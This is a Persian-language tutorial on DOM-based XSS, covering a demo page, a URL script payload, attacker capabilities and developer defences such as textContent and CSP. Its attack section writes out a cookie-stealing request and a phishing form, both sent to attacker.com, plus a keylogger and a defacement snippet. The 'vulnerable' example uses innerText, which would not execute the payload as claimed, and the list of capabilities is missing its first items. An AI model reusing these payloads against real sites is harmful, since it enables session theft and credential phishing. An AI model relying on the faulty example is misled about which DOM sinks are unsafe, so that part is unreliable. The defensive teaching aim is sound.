آموزش DOM based XSS
DOM-based XSS (Cross-Site Scripting) یکی از انواع XSS است که به جای اینکه از طریق درخواستهای HTTP و پاسخهای سرور انجام شود، به طور کامل در سمت کلاینت و دا...
آموزش DOM based XSS
DOM-based XSS (Cross-Site Scripting) یکی از انواع XSS است که به جای اینکه از طریق درخواستهای HTTP و پاسخهای سرور انجام شود، به طور کامل در سمت کلاینت و داخل مرورگر کاربر رخ میدهد. این نوع حمله به طور مستقیم با DOM (Document Object Model) سر و کار دارد. در اینجا یک آموزش گام به گام برای فهم و انجام حمله DOM-based XSS ارائه میشود:
مرحله 1: آشنایی با DOM
DOM یا Document Object Model یک مدل شیء گرا است که به جاوااسکریپت اجازه میدهد تا محتوای HTML و ساختار آن را دستکاری کند.
مرحله 2: شناسایی نقاط آسیبپذیر
برای انجام یک حمله DOM-based XSS، باید بدانید که کدام قسمتهای سایت از ورودیهای کاربر استفاده میکنند و آنها را در DOM قرار میدهند بدون اینکه به درستی آنها را ایمنسازی کنند.
مرحله 3: ایجاد سناریوی حمله
یک سناریوی ساده برای DOM-based XSS شامل یک صفحه وب است که محتوای آن بر اساس ورودیهای URL تغییر میکند. فرض کنید یک صفحه وب داریم که نام کاربر را از پارامتر URL میگیرد و آن را در صفحه نمایش میدهد.
مثال:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>DOM-based XSS Example</title>
</head>
<body>
<h1 id="greeting"></h1>
<script>
// Get parameter from URL
var urlParams = new URLSearchParams(window.location.search);
var name = urlParams.get('name');
// Display the user's name on the page
document.getElementById('greeting').innerText = 'Hello, ' + name + '!';
</script>
</body>
</html>
مرحله 4: شبیهسازی حمله
برای شبیهسازی یک حمله DOM-based XSS، میتوانیم ورودی مخرب را به عنوان پارامتر URL به صفحه بالا اضافه کنیم. مثلاً:
http://example.com/?name=<script>alert('XSS')</script>
زمانی که این URL را باز میکنید، جاوااسکریپت داخل تگ <script>
اجرا میشود و یک هشدار (alert) با پیام "XSS" نمایش میدهد.
توضیحات امنیتی
در مثال بالا، ورودی کاربر بدون هیچ گونه ایمنسازی یا پالایش مستقیماً به DOM تزریق میشود که منجر به آسیبپذیری XSS میشود. برای جلوگیری از چنین حملاتی، باید همیشه ورودیهای کاربر را پالایش و ایمنسازی کنید.
مرحله 5: ایمنسازی کد
برای جلوگیری از حملات XSS، باید ورودیها را پالایش کنید. در مثال بالا، به جای استفاده مستقیم از innerText
، میتوان از کتابخانههای معتبر برای ایمنسازی ورودیها استفاده کرد. یکی از روشهای ساده ایمنسازی به شرح زیر است:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>DOM-based XSS Example</title>
</head>
<body>
<h1 id="greeting"></h1>
<script>
// Get parameter from URL
var urlParams = new URLSearchParams(window.location.search);
var name = urlParams.get('name');
// Sanitize the user input
function sanitize(str) {
var temp = document.createElement('div');
temp.textContent = str;
return temp.innerHTML;
}
// Display the sanitized user's name on the page
document.getElementById('greeting').innerHTML = 'Hello, ' + sanitize(name) + '!';
</script>
</body>
</html>
در این کد، ورودی کاربر ابتدا به یک عنصر موقت <div>
اضافه میشود و سپس محتوای متن آن به عنوان ورودی ایمنسازی شده استفاده میشود. این روش از اجرای کد جاوااسکریپت مخرب جلوگیری میکند.
با DOM-based XSS چه دسترسی هایی می توان گرفت ؟
localStorage.getItem('key');
sessionStorage.getItem('key');
3. دستکاری محتوای صفحه (Defacement)
مهاجم میتواند محتوای صفحه را تغییر دهد و آن را با محتوای مخرب جایگزین کند، مثلاً نمایش پیامهای جعلی یا فرمهای فیشینگ. مثال:
document.body.innerHTML = '<h1>You have been hacked!</h1>';
4. اجرای درخواستهای مخرب (CSRF)
مهاجم میتواند درخواستهای مخربی را به سرور ارسال کند که به نظر میرسد از طرف کاربر معتبر ارسال شدهاند (Cross-Site Request Forgery). مثال:
var img = new Image();
img.src = 'http://example.com/delete_account';
5. شنود ورودیهای کاربر (Keylogging)
مهاجم میتواند اسکریپتی را برای ثبت تمامی ورودیهای کیبورد کاربر قرار دهد. مثال:
document.addEventListener('keypress', function(event) {
var keylog = document.getElementById('keylog');
keylog.value += event.key;
});
6. ربودن نشست کاربر (Session Hijacking)
مهاجم میتواند با سرقت توکنهای نشست کاربر، به سیستم وارد شود و دسترسیهای کاربر را به دست آورد.
7. ارسال اطلاعات به سرور مهاجم
مهاجم میتواند اطلاعات حساس کاربر را به سرور خود ارسال کند. مثال:
var img = new Image();
img.src = 'http://attacker.com/log?cookie=' + document.cookie;
8. نمایش محتوای جعلی و فیشینگ
مهاجم میتواند فرمهای جعلی برای سرقت اطلاعات حساس کاربر مثل نام کاربری و کلمه عبور قرار دهد. مثال:
document.body.innerHTML = '<form action="http://attacker.com/phish" method="POST"><input type="text" name="username"><input type="password" name="password"><input type="submit"></form>';
DOM-based XSS میتواند به مهاجم اجازه دهد که کنترل زیادی بر روی محتوای صفحه و دادههای کاربر داشته باشد. این نوع حملات بسیار خطرناک هستند و میتوانند به سرقت اطلاعات حساس، تخریب دادهها، و فریب کاربران منجر شوند. برای جلوگیری از این حملات، باید همواره ورودیهای کاربر را ایمنسازی و پالایش کنید و از روشهای امنیتی مناسب استفاده کنید.
جلوگیری از حمله DOM based XSS برای برنامه نویسان
جلوگیری از حملات DOM-based XSS نیازمند توجه به بهترین شیوههای برنامهنویسی امن و رعایت اصول امنیتی در زمان توسعه وبسایتها است. در زیر به چندین راه حل عملی برای جلوگیری از این حملات اشاره میکنیم:
1. استفاده از روشهای ایمن برای دستکاری DOM
هنگام درج دادهها به DOM، به جای استفاده از روشهایی که میتوانند کد جاوااسکریپت اجرا کنند (مانند innerHTML
)، از روشهایی استفاده کنید که به طور خودکار دادهها را ایمنسازی میکنند (مانند textContent
یا innerText
).
مثال:
// UnSecure
document.getElementById('output').innerHTML = userInput;
// Secure
document.getElementById('output').textContent = userInput;
2. پالایش ورودیهای کاربر
همواره ورودیهای کاربر را پالایش و ایمنسازی کنید. برای این کار میتوانید از کتابخانههای امنیتی یا روشهای دستی پالایش استفاده کنید.
مثال:
function sanitizeInput(input) {
var tempDiv = document.createElement('div');
tempDiv.textContent = input;
return tempDiv.innerHTML;
}
var userInput = getUserInput();
document.getElementById('output').innerHTML = sanitizeInput(userInput);
3. استفاده از Content Security Policy (CSP)
Content Security Policy یک لایه امنیتی اضافی است که میتواند از اجرای اسکریپتهای مخرب جلوگیری کند. با تنظیم صحیح CSP، فقط اسکریپتهای مجاز میتوانند در صفحه اجرا شوند.
مثال:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted-cdn.com">
4. اجتناب از دستکاری مستقیم URL
تا حد امکان از دستکاری مستقیم URL برای دریافت ورودیهای کاربر خودداری کنید. اگر نیاز به استفاده از پارامترهای URL دارید، حتماً آنها را ایمنسازی کنید.
5. استفاده از کتابخانههای معتبر
برای انجام عملیاتهای پیچیدهتر در جاوااسکریپت، از کتابخانههای معتبر و بهروز استفاده کنید که به طور خودکار ورودیها را ایمنسازی میکنند.
6. اجتناب از ساختن مستقیم HTML از ورودیهای کاربر
از ساختن مستقیم عناصر HTML با استفاده از ورودیهای کاربر خودداری کنید. اگر لازم است، حتماً ورودیها را قبل از استفاده ایمنسازی کنید.
مثال:
// UnSecure
var userInput = getUserInput();
document.getElementById('output').innerHTML = '<div>' + userInput + '</div>';
// Secure
var userInput = getUserInput();
var div = document.createElement('div');
div.textContent = userInput;
document.getElementById('output').appendChild(div);
7. بهروز نگهداشتن کتابخانهها و چارچوبهای وب
همیشه از آخرین نسخههای کتابخانهها و چارچوبهای وب استفاده کنید تا از جدیدترین بهروزرسانیهای امنیتی بهرهمند شوید.
8. آموزش و آگاهیبخشی به توسعهدهندگان
توسعهدهندگان باید با مفاهیم امنیتی و خطرات احتمالی آشنا شوند و بهترین شیوههای امنیتی را در زمان توسعه به کار گیرند.
با رعایت این روشها و اصول، میتوانید از حملات DOM-based XSS در برنامههای وب خود جلوگیری کنید. توجه به امنیت ورودیهای کاربر و استفاده از روشهای ایمن برای دستکاری DOM از مهمترین گامها در این زمینه است. اگر سوال یا نکتهای نیاز به توضیح بیشتر داشتید، خوشحال میشوم کمک کنم.
دیدگاه های مربوط به این مقاله (برای ارسال دیدگاه در سایت حتما باید عضو باشید و پروفایل کاربری شما تکمیل شده باشد)